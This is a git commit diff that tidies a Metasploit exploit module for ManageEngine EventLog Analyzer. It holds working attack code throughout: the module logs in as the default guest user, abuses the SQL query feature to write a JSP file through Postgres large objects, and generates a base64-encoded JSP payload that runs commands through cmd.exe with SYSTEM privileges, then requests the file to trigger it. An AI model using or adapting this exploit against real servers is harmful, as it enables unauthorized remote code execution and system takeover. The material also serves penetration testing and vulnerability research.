Do code cleanup
parent
c99444a52e
commit
55f573b4c9
|
@ -6,7 +6,7 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
@ -14,13 +14,15 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "ManageEngine EventLog Analyzer Remote Code Execution",
|
||||
'Name' => 'ManageEngine EventLog Analyzer Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a SQL query functionality in ManageEngine EventLog Analyzer.
|
||||
Every authenticated user, including the default "guest" account can execute SQL queries directly
|
||||
on the underlaying Postres database server. The queries are executed as the "postgres" user
|
||||
which has full privileges and thus is able to write files to disk. This way a JSP payload
|
||||
can be uploaded and executed with SYSTEM privileges on the web server.
|
||||
This module exploits a SQL query functionality in ManageEngine EventLog Analyzer v10.6
|
||||
build 10060 and previous versions. Every authenticated user, including the default "guest"
|
||||
account can execute SQL queries directly on the underlying Postgres database server. The
|
||||
queries are executed as the "postgres" user which has full privileges and thus is able to
|
||||
write files to disk. This way a JSP payload can be uploaded and executed with SYSTEM
|
||||
privileges on the web server. This module has been tested successfully on ManageEngine
|
||||
EventLog Analyzer 10.0 (build 10003) over Windows 7 SP1.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
|
@ -29,29 +31,28 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '38173' ],
|
||||
['EDB', '38173']
|
||||
],
|
||||
'Platform' => ['win'],
|
||||
'Arch' => ARCH_X86,
|
||||
'Targets' =>
|
||||
[
|
||||
['ManageEngine EventLog Analyzer', {}]
|
||||
['ManageEngine EventLog Analyzer 10.0 (build 10003) / Windows 7 SP1', {}]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => "Jul 11 2015",
|
||||
'DisclosureDate' => 'Jul 11 2015',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8400),
|
||||
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'guest' ]),
|
||||
OptString.new('PASSWORD', [ true, 'The password to authenticate as', 'guest' ]),
|
||||
OptInt.new('WAIT', [true, 'Seconds to wait for execution of the payload', 5]),
|
||||
OptString.new('PASSWORD', [ true, 'The password to authenticate as', 'guest' ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def uri
|
||||
return target_uri.path
|
||||
target_uri.path
|
||||
end
|
||||
|
||||
|
||||
|
@ -61,21 +62,20 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, "event", "index3.do")
|
||||
'uri' => normalize_uri(uri, 'event', 'index3.do')
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body =~ /ManageEngine EventLog Analyzer/
|
||||
if res && res.code == 200 && res.body && res.body.include?('ManageEngine EventLog Analyzer')
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def sql_query(cookies, query)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, "event", "runQuery.do"),
|
||||
'uri' => normalize_uri(uri, 'event', 'runQuery.do'),
|
||||
'cookie' => cookies,
|
||||
'vars_post' => {
|
||||
'execute' => 'true',
|
||||
|
@ -87,26 +87,26 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
fail_with(Failure::Unknown, "#{peer} - Failed executing SQL query!")
|
||||
end
|
||||
|
||||
return res
|
||||
res
|
||||
end
|
||||
|
||||
|
||||
def generate_jsp_payload(cmd)
|
||||
|
||||
decoder = rand_text_alphanumeric(4 + rand(32 - 4))
|
||||
decoded_bytes = rand_text_alphanumeric(4 + rand(32 - 4))
|
||||
cmd_array = rand_text_alphanumeric(4 + rand(32 - 4))
|
||||
jcode = "<%"
|
||||
jcode << "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
|
||||
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
|
||||
jcode << "String [] #{cmd_array} = new String[3];\n"
|
||||
jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
|
||||
jcode << "#{cmd_array}[1] = \"/c\";\n"
|
||||
jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
|
||||
jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
|
||||
jcode << "%>"
|
||||
decoder = rand_text_alpha(4 + rand(32 - 4))
|
||||
decoded_bytes = rand_text_alpha(4 + rand(32 - 4))
|
||||
cmd_array = rand_text_alpha(4 + rand(32 - 4))
|
||||
jsp_code = '<%'
|
||||
jsp_code << "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
|
||||
jsp_code << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
|
||||
jsp_code << "String [] #{cmd_array} = new String[3];\n"
|
||||
jsp_code << "#{cmd_array}[0] = \"cmd.exe\";\n"
|
||||
jsp_code << "#{cmd_array}[1] = \"/c\";\n"
|
||||
jsp_code << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
|
||||
jsp_code << "Runtime.getRuntime().exec(#{cmd_array});\n"
|
||||
jsp_code << '%>'
|
||||
|
||||
return jcode
|
||||
jsp_code
|
||||
end
|
||||
|
||||
|
||||
|
@ -115,7 +115,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{peer} - Retrieving JSESSION ID")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, "event", "index3.do"),
|
||||
'uri' => normalize_uri(uri, 'event', 'index3.do'),
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.get_cookies =~ /JSESSIONID=(\w+);/
|
||||
|
@ -128,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{peer} - Access login page")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, "event", "j_security_check;jsessionid=#{jsessionid}"),
|
||||
'uri' => normalize_uri(uri, 'event', "j_security_check;jsessionid=#{jsessionid}"),
|
||||
'vars_post' => {
|
||||
'forChecking' => 'null',
|
||||
'j_username' => datastore['USERNAME'],
|
||||
|
@ -171,11 +171,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{peer} - Executing SQL queries")
|
||||
|
||||
# Remove large object in database, just in case it exists from previous exploit attempts
|
||||
sql = "SELECT lo_unlink(-1)"
|
||||
sql = 'SELECT lo_unlink(-1)'
|
||||
result = sql_query(cookies, sql)
|
||||
|
||||
# Create large object "-1". We use "-1" so we will not accidently overwrite large objects in use by other tasks.
|
||||
sql = "SELECT lo_create(-1)"
|
||||
sql = 'SELECT lo_create(-1)'
|
||||
result = sql_query(cookies, sql)
|
||||
if result.body =~ /menuItemRow\">([0-9]+)/
|
||||
loid = $1
|
||||
|
@ -196,7 +196,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
sql_query(cookies, sql)
|
||||
|
||||
# Remove our large object in the database
|
||||
sql = "SELECT lo_unlink(-1)"
|
||||
sql = 'SELECT lo_unlink(-1)'
|
||||
result = sql_query(cookies, sql)
|
||||
|
||||
register_file_for_cleanup("..\\webapps\\event\\#{jsp_name}")
|
||||
|
@ -207,10 +207,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'uri' => normalize_uri(uri, jsp_name),
|
||||
})
|
||||
|
||||
sleep(datastore['WAIT'])
|
||||
|
||||
# If the server returns 200 we assume we uploaded and executed the payload file successfully
|
||||
if not res or res.code != 200
|
||||
unless res && res.code == 200
|
||||
print_status("#{res.code}\n#{res.body}")
|
||||
fail_with(Failure::Unknown, "#{peer} - Payload not executed, aborting!")
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue